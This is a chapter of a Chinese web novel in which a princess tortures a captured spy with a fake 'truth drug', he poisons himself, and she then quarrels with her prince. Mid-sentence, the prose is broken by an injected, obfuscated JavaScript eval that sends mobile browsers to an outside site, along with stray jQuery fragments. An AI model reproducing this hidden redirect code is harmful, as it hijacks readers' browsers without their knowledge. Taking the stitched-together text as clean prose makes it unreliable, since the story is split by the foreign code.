41. 第41章 明了
    细作低下头,眼珠快速转动几圈,再抬头,恢复了之前一脸宁死不屈的赴死之相:“我又不是对他说的。”

    “哦,是吗?”虞悦走近些,站定在他面前,幽幽道,“你此刻若是愿意主动交代你主子是谁,尚可绕过一死。”

    “我都已经交代了,你们不信,我还能有什么办法?”他轻蔑一笑,倔强地低垂下头,拒绝沟通。

    “你没有办法,我有,”虞悦无所谓地耸耸肩,从袖口拿出一个精致的小瓷瓶,“正巧我有一种西域密药,能使人只言真话。若是所说为假,则会皮肤溃烂,灼烧肺腑,让人生不得,死不能。”

    她动作优雅地打开小瓷瓶,慢步走向他,一只手拦过她手中小瓷瓶,是晏广济,他淡淡道:“别脏了你的手,我来。”

    细作对她这番话嗤之以鼻。

    世上若真有这样的药,朝廷早就大肆使用了。直接一粒药丸下肚,什么陈年冤情都能审出来,天牢都不必设了。

    他的下巴被晏广济强硬地钳住,一颗药丸被晏广济屈指弹进了他的喉咙,力道还不轻。他立刻剧烈咳嗽起来,半晌才艰难吞咽口水,抬头恶狠狠瞪晏广济。

    然而晏广济丝毫不在意,转身把瓷瓶还给虞悦,站回她身边。

    “这密药药效极快,我劝你识相点趁早说了,”虞悦苦口婆心劝道,“你若现在供出幕后黑手,尚来得及阻止药效发作。”

    可他仍是不为所动。

    虞悦也不急,就静静地站着等。密院使者们也都屏息以待,期待见证这密药的效果,是否会真如瑞王妃所说那般神奇。

    不多时,他的脸上开始发烫,伴随着奇痒无比的灼烧感逐渐扩散至脖颈,再一路向下蔓延到四肢。

    他这下真的开始慌了,世上还真有此神药?

    “我所言句句属实,我用我全家的性命发誓,就是瑞王殿下派我来的!”他痛苦地扭曲着身体,全身都痒得不得了,想挠也挠不到,嘴上却是一点儿不松口,一口咬死是瑞王。

    虞悦本就不信人发誓,尤其是男人的誓言。

    她忍不住发出一声嘲笑:“用你全家的性命发誓?发誓都是用自己有的东西发,你可倒好,用自己没有的东西做筹码,可见你并不是真心的。”

    细作微怔:她怎么知道他没有家人?

    但他还顾不上细想,一阵剧烈的灼烧感冲破胸口迅速四散开来,犹如一群蚂蚁快速流窜在他体内,小口快速地吞吃蚕食他的五脏六腑。如针扎般的刺痛使他瞬间四肢瘫软,全靠吊着手腕的铁环拉住他残败的身躯。

    他整个人如火中烧,内内外外都像被丢进热油锅反复烹炸般煎熬,额头冷汗密布,沿着额角一路流下,在下巴处汇成水柱滴落在地。

    “嗬啊……啊!”他终于忍不住撕扯着本就痛的嗓子痛叫出声。

    虞悦向前走了两步,站在他身前俯看他痛苦扭曲的表情,眼神中没有丝毫的怜悯,平静无波:“我再给你最后一次机会,说,还是不说?”

    皮肤上传来剥脱的痛感,仿佛真的在溃烂脱落般,他已然被折磨得脱力,没有多余的力气言语和挣扎。

    名字就在嘴边随时准备脱口而出,他咬紧舌尖强迫自己清醒。若非他受过严格的训练,恐怕早就已经忍不住说出去了。

    此刻他意识到,眼前这个蛇蝎美人没有骗他。

    眼前模糊成一片,也不知是汗水模糊的还是药效导致的,他有些眩晕,即便是舌尖被咬出的血腥味充斥整个口腔,也不能让他更清醒些。

    他是死士,注定要死在任务中。他的任务就是栽赃陷害瑞王,只要他现在不说出来嘴边的名字,就是顺利完成。

    他攒尽最后一丝力气,去咬破藏在后槽牙中的毒囊。

    然而下一瞬,“咔哒”一声,一只玉手快速击打他左耳根下,向上攒打,腕力一弹,利落地卸掉了他的下巴。

    “你们死士以死明志的戏码我早看腻了,下次换点新鲜的。”虞悦嫌弃地掏出帕子擦着手讥讽道。

    他完全没料到会是这个结果。反应过来后在那口齿不清地“呜呜啊啊”些什么,眼神中有几分祈求,口水沿着嘴角淌出,在下巴上拉出晶莹的丝线,虞悦一脸厌恶地向后撤了几步,“想通了?肯说你主子是谁的话,我就给你安回去。”

    他慌忙点头,生怕虞悦后悔似的。晏广济看出虞悦嫌弃他的样子,扬扬下巴示意身边的密院使者上前给他装下巴。

    被点到的使者不敢拒绝,强忍恶心上前先用夹子把他口中的毒囊取出,再把他的下巴装上。

    “是……是……”他晃着身子,说话断断续续的。

    虞悦听不清,凑近两步,他却突然抬起头来,朝她露出一个挑衅的笑,随之而来的是嘴角瞬间淌出的一道黑血。

    她眼神一凛。

    大意了!他嘴里还有一颗毒囊!

    该死,嘴里藏那许多毒囊做什么,也不怕哪天吃饭时不小心咬破了,任务还没做完先把自己毒死了。

    罢了,死了就死了,她本来也没想着他能供出幕后黑手。

    人都死了,也没什么好审的,好歹是解了燃眉之急,洗清梁璟的冤屈。至于幕后栽赃陷害梁璟的人,只能想别的法子揪出他来。

    虞悦与晏广济走出天牢,准备骑上马回皇宫复命,待走到四下无人的地方,晏广济冷不丁儿问道:“你那药还没用完呢?”

    “你认出来了?”虞悦虽这么问着,脸上却一点找不到惊讶和慌张的神情。

    晏广济失笑:“很难不认出来,这药没吓唬过十个人,也得吓唬过八个了。”

    这药是绣鸢闲着没事,边看医书边看毒药书鼓捣出来的。本意是想做一颗续命丹,即便是重伤,只要留有一口气就能吊住命的神药。

    结果做成了让人被折磨得死去活来,还能留住一口气的神药。

    “一会儿你可别在陛下面前拆穿我,不然可是欺君之罪。”临近皇宫,虞悦叮嘱晏广济。

    虽然她也不算欺君。人被折磨得死去活来时,身体的本能就是保护自己,只能说出秘密换取折磨停止,怎么不算一种“只言真话”呢?

    “阿悦,你就这么不相信我吗?”晏广济皱皱眉,略沉下脸来,眼神中满是幽怨与受伤,“我说过了,永远坚定地站在你这边。”

    她说这话是下意识的,只是顺嘴一说,并未多想,她抱歉一笑:“我没有不信你,就是随口一说,顺便叮嘱下我自己。”

    *****

    他们快马加鞭赶回皇宫,踏进御书房,只见梁璟身姿挺拔地站着,表情看起来不太好。正座上的宣文帝表情更难看,脸黑得发亮,一看两人就是大吵过一架的样子。

    气氛僵至极点。

    虞悦行了一礼,说道:“父皇,那细作咬破口中的毒囊自尽了,儿臣只能证明王爷的清白,其幕后之人还需再查。”

    宣文帝颔首

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272500|144770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,对她半信半疑的样子,点名道:“晏广济,你来说。”

    晏广济一五一十将刚刚发生的事讲述一遍,只略过了虞悦卸细作下巴的小细节。宣文帝听完后对虞悦上下审视一番:“当真有此神药,若是能为刑部所用,必定少许多冤假错案。”

    是个人都能听出他什么意思,伸手找她要药呢。

    虞悦低着头为难道:“父皇,并非儿臣不愿,而是这密药儿臣机缘巧合下总共就得了这一颗,也不知是出自谁手,儿臣实在是有心为父皇分忧也无力啊。”

    宣文帝眯起眼睛盯了她一会儿,御书房内的空气再次冷凝,不知道他又在打什么小九九。

    梁璟悠悠开口替她解围:“父皇,儿臣嫌疑已洗清,可否先行回府了?无端跪了一个上午,又站了一个下午,实在是有些撑不住了。”

    “你一个大男人有什么可娇气的!”宣文帝被气得吹胡子瞪眼的,“是你的好王妃为你洗清的嫌疑,你倒是先喊上累了。”

    梁璟懒散道:“那儿臣先行回府犒劳王妃了,这个理由父皇满意吗?”

    父子俩说话夹枪带棒的,看起来宣文帝没有丝毫冤枉梁璟产生的愧疚,梁璟也没有洗脱嫌疑后的如释重负。

    无法让人看透的两个人,君臣不像君臣,父子不像父子。

    “滚滚滚。”宣文帝满脸不耐地挥手,让梁璟赶紧走,“广济,你留下。”

    虞悦规矩地行过礼后,没有等梁璟,自顾自先行退出了御书房。她能听到身后跟随着她的脚步声,不打算理会,直到他们前后脚出了宫门,虞悦踏上脚蹬翻身上马,一只手拉住马绳。

    “麻烦王爷松手。”她冷冰冰道。

    “是我一时心急口快说错了话,是我的不对,”梁璟站在马侧仰着头看她,澄澈的瞳孔泛起微波,“不要生我的气了,好不好?”

    “我今天才知道,原来在王爷心里就是这样想我的。”

    本来对他生出的好感像一簇小火苗,安安静静地燃烧着,结果被他一盆冷水浇下去,冒出一缕白烟很快消散在空气中。

    “我只是怕把你牵连进来。”

    他声音干涩,攥紧缰绳,因为用力而指节发白。因为向上看抬眉而瞪大的桃花眼微微圆了些,更显得无辜,从虞悦的角度看下去,像一只被抛弃的狗狗,小心翼翼地轻摇尾巴试探讨好。

    她从未在梁璟脸上看到过这样低姿态的神情,心中微微动摇,又强行把自己拽回正轨,坚持自己的想法:“下意识的反应骗不了人,王爷,你打心底里并没有真正地信任我。”

    “我……”梁璟欲言又止,看看身后的宫门守卫,凑近些低声道:“我们回家再说,好吗?”

    “改日吧,今日我累了,烦请王爷松开我的缰绳,我要走了。”虞悦向他摊开手要缰绳。

    梁璟却把他的手递上来,握紧她的手。属地,她感觉到一股巨大的力量把她向下拉,于是下意识地用力往回拉这股力量,却是被梁璟借力飞身上马,稳稳跨坐在她身后。

    两人此刻的距离非常近,几乎是前胸贴后背的状态。温热的体温瞬间裏在了她的周身,梁璟的双臂滑过她的腰际,箍在她的腰侧握紧缰绳。

    面对他突如其来不讲武德的行为,虞悦有些恼,瞬间炸了毛:“你干什么!”

    略带委屈的低音拐着弯钻进她耳朵里:“自然是和夫人一起回府,我的马车早就回府了,夫人忍心让我走回去吗?”